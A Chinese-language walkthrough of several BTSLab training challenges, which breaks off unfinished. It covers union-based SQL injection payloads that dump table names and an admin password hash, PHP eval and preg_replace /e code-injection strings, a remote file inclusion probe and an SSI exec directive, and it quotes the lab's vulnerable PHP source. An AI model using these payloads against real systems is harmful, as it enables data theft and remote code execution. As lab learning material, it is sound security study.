btslab笔记

本文只涉及漏洞的验证与解题思路不进行安装等基础教学

1.vulnerability.injection.sqlinjection

url:https://172.16.26.44/btslab/vulnerability/ForumPosts.php?id=1
第一步:判断注入类型 字符型还是数字型：
GET /btslab/vulnerability/ForumPosts.php?id=1

GET /btslab/vulnerability/ForumPosts.php?id=1-2

GET /btslab/vulnerability/ForumPosts.php?id=5-4

经过测试显然为数字型注入

判断闭合方式：
数字型闭合方式一般为括号闭合，进行测试：
GET /btslab/vulnerability/ForumPosts.php?id=5-4)) --

经过测试 该闭合方式为空 即纯数字无特殊符号闭合：
GET /btslab/vulnerability/ForumPosts.php?id=5-4%20--%20

进行列数的判断：
order by 4:

order by 5:

回显位置判断：
5-4 union select 1,2,3,4--

初步判断为4和2位置

5-4 union select 1,database(),3,version()--

查询版本与数据库名
为5.5.53与bts

版本位于5.0以后开始查询
利用information_schema表进行数据查询：
5-4 union select 1, group_concat(table_name),2,3 from information_schema.tables where table_schema=database()--

得到表名 可疑表为users
开始查列:
5-4 union select 1, group_concat(column_name),2,3 from information_schema.columns where table_schema=database() and table_name='users' --

得到感兴趣列username password 查询其内容

总共就一个用户admin 其密码为5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
为sha1形式 进行解密测试

源码：很简单的拼接 导致漏洞百出

<?php include($_SERVER['DOCUMENT_ROOT'].'/btslab/header.php');
include($_SERVER['DOCUMENT_ROOT'].'/btslab/mysqlconnection.php');
//Delete Post
if(isset($_GET['delete']))
{
	$id=$_GET['delete'];
	mysql_query("DELETE from posts where postid='$id'") or die("Failed to Delete the post");
	echo "Post is deleted";
}
//Displaying the content of Post
if(isset($_GET['id']))
{
	$result=mysql_query("select * from posts where postid=".$_GET['id']) or die(mysql_error());
	if(mysql_num_rows($result)>0)
	{
		while($row=mysql_fetch_array($result))
		{
		echo "<B style='font-size:22px'>Title: ".$row['title']."</B>";
		if(isset($_SESSION['isLoggedIn']))
		{
			if($row['user']==$_SESSION['username'])
			{
				echo "  <a href='ForumPosts.php?delete=".$row['postid']."'>Delete</a>";			
			}
		}
		echo "<br/>-  Posted By ".$row['user'];	
		echo "<br/><br/>Content:<br/>".$row['content']."";
		
		}
	}
}
echo "<br/><br/><a href='forum.php'>Return to Forum &gt;&gt;</a>";
 include($_SERVER['DOCUMENT_ROOT'].'/btslab/footer.php'); ?>

2.vulnerability.injection.cmdinjection

乱码猜测由于gbk编码导致
进行乱码恢复：

成功得到结果

3.vulnerability.injection.phpinjection

https://172.16.26.44/btslab/vulnerability/phpinjection/challenge1.php?data=phpinfo()

源码很简单 eval进行了命令执行：
c1:

<?php include($_SERVER['DOCUMENT_ROOT'].'/btslab/header.php');

if(isset($_GET['data']))
{
  $output = "";
$data = $_GET['data'];
 eval('$output = ' . $data. ';');
 echo $output;
}

include($_SERVER['DOCUMENT_ROOT'].'/btslab/footer.php'); ?>

preg_replacee进行命令执行 /e参数会导致命令执行

c2:

<?php include($_SERVER['DOCUMENT_ROOT'].'/btslab/header.php');

if(isset($_GET['data']))
{
$data = $_GET['data'];
$data = preg_replace('/(.*)/e', 'strtoupper("\\1")',$data);
//这句会对正则匹配到的参数进行命令执行 /e参数就代表执行命令 
print $data;
}

include($_SERVER['DOCUMENT_ROOT'].'/btslab/footer.php'); ?>

https://172.16.26.44/btslab/vulnerability/phpinjection/challenge2.php?data={${phpinfo()}}

4.vulnerability.injection.rfi:

利用dnslog平台测试是否能够访问远程文件

也是成功能进行远程文件的访问


能够进行文件包含

可以远程包含一句话木马进行测试 这里我就不继续了

5.vulnerability.injection.ssi:

ssi注入 类似于xss 注入了ssi语句也就是shtml的语句插入到页面中并且被执行了 ssi语法形式如下:
<!--#exec cmd="whoami" -->
但该漏洞触发条件比较苛刻 很少见 不常用

这里返回的结果是处理此指令时返回错误

尝试执行echo命令 不要执行系统命令
<!--#echo var="DOCUMENT_URI" -->

成功输出了当前文档的统一资源定位符

未完===